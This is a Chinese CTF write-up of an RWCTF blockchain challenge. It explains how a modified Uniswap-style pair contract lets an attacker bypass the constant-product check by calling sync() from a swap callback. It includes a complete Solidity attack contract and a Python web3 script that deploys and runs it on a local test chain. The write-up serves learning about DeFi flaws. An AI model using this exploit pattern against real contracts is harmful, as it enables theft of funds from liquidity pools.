RWCTF blockchain复现
基本上都是defi的题目,也算是初步了解defi。
参考
https://www.seaeye.cn/archives/494.html
http://retr0.vip/archives/85/
https://www.ctfiot.com/90963.html
https://learnblockchain.cn/article/2757
体验赛blockchain
这是一个Uniswap类型的题目,初步了解Uniswap
题目
描述
部分源码
分析
题目的要求是让我们把自己账户的1 tokenA兑换为1 tokenB并发送至deployer账户。
目前链上主流的DEX大多采用恒定乘积自动做市商模型,一般包含Factory、Pair、Router三个关键合约,其中Factory主要负责Pair的创建与管理,Pair则是由两个代币组成的币对流动性池子,可供用户通过其中一种代币按照恒定乘积自动做市商算法以某一价格兑换出另一种代币,Router是路由合约,主要负责连通各个Pair以便充分发挥流动性的作用,使得两种代币间有尽可能多的兑换路径及优势价格。
题目的突破口是通过比较市场上主流的Uniswap中sync方法来发现题目中的源码是做了改动的。
原本的源码中是先调用getReserves()
函数获取原本池子中的储备记录值Reserve,再将代币发送给指定账户,最后获取币对实际余额Balance。而本题是先将代币发送给指定账户并允许外部调用,再获取币对实际余额Balance,最后才获取储备记录值Reserves。
在最开始的池子里面,有10:10的tokenA,tokenB,此时是无法用1 tokenA换出1 tokenB的(由于存在滑点,具体可参考关于滑点)
但是这里更改了源码,就存在绕过K值计算的缺陷了。可以先让Pair合约先将1 tokenB 发送给我们,在这之后通过攻击合约的回调函数去调用Pair.sync()强制更新储备值,这时储备记录值的状态就被修改为了10:9,然后我们再将1 tokenA发送给Pair合约,之后它获取到的币对实际余额值为11:9。此时通过上述计算可以算得用1个tokenA能换取1.1个tokenB。
攻击
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| pragma solidity ^0.8.0;
import "./Happy.sol";
contract attack{ address happy_contract; address public tokenA; address public tokenB; Greeter Greeter_contract = Greeter(address(0x9290494B9aFe662081F5d831BC7f790f40E13089)); IHappyFactory factory; IHappyPair public pair;
constructor() public payable{
} function getDirdrop() public{ Greeter_contract.airdrop(); }
function hack(address deployer,address greet) public { Greeter_contract = Greeter(address(greet)); getDirdrop(); tokenA = Greeter_contract.tokenA(); tokenB = Greeter_contract.tokenB(); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); factory = IHappyFactory(address(0x8677E46ba4383662771E7A92298F9c5E5c6A9375)); pair = IHappyPair(factory.getPair(token0, token1)); if (token0 == tokenA) { pair.swap(0, 1 ether, address(this), "0x0"); } else { pair.swap(1 ether, 0, address(this), new bytes(1)); } IERC20(tokenB).transfer(deployer, 1 ether); //depolyer }
fallback() external{ pair.sync(); IERC20(tokenA).transfer(address(pair), 1 ether); } function isSolved() public view returns (bool) { return Greeter_contract.isSolved(); } }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import solcx from solcx import compile_files from web3 import Web3,HTTPProvider from hexbytes import *
def generate_tx(chainID, to, data, value): txn = { 'chainId': chainID, 'from': Web3.toChecksumAddress(account_address), 'to': to, 'gasPrice': web3.eth.gasPrice , 'gas': 672197400, 'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) , 'value': Web3.toWei(value, 'ether'), 'data': data, } return txn
def sign_and_send(txn): signed_txn = web3.eth.account.signTransaction(txn, private_key) txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash) return txn_receipt
def deploy_Bearparse(): compiled_sol = compile_files(["hack.sol"],output_values=["abi", "bin"],solc_version="0.8.15") data = compiled_sol['hack.sol:attack']['bin'] txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) attack_abi = compiled_sol['hack.sol:attack']['abi'] if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address,attack_abi else: exit(0)
if __name__ == '__main__': solcx.install_solc('0.8.0') rpc = "http://127.0.0.1:8545" web3 = Web3(HTTPProvider(rpc)) private_key = 'da5ddb4d06e2889e231af00c85e71da8888576f065c63284615ef9e76b55e04a' acct = web3.eth.account.from_key(private_key) account_address = acct.address chain_id = 5777 print("[+] account_address is " + str(account_address)) print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
hack_address,hack_abi = deploy_Bearparse() hack_instance = web3.eth.contract(address=hack_address, abi=hack_abi) print(hack_instance.all_functions())
_greeter = "0xF7e5f9F7006db27288931afAd38fdC385872D634"[2:] _deployer = "0xC93e201cDED9D827F86fbCcBeEC5bFf3aF485643"[2:] calldata='0x47ae4318000000000000000000000000' + _deployer +'000000000000000000000000' + _greeter chall1_addr = generate_tx(chain_id, hack_address,calldata,0) flag = sign_and_send(chall1_addr)
calldata= '0x64d98f6e' chall1_addr = generate_tx(chain_id, hack_address,calldata,0) print("[+] after attack isSolved():" + str(hack_instance.functions.isSolved().call()))
|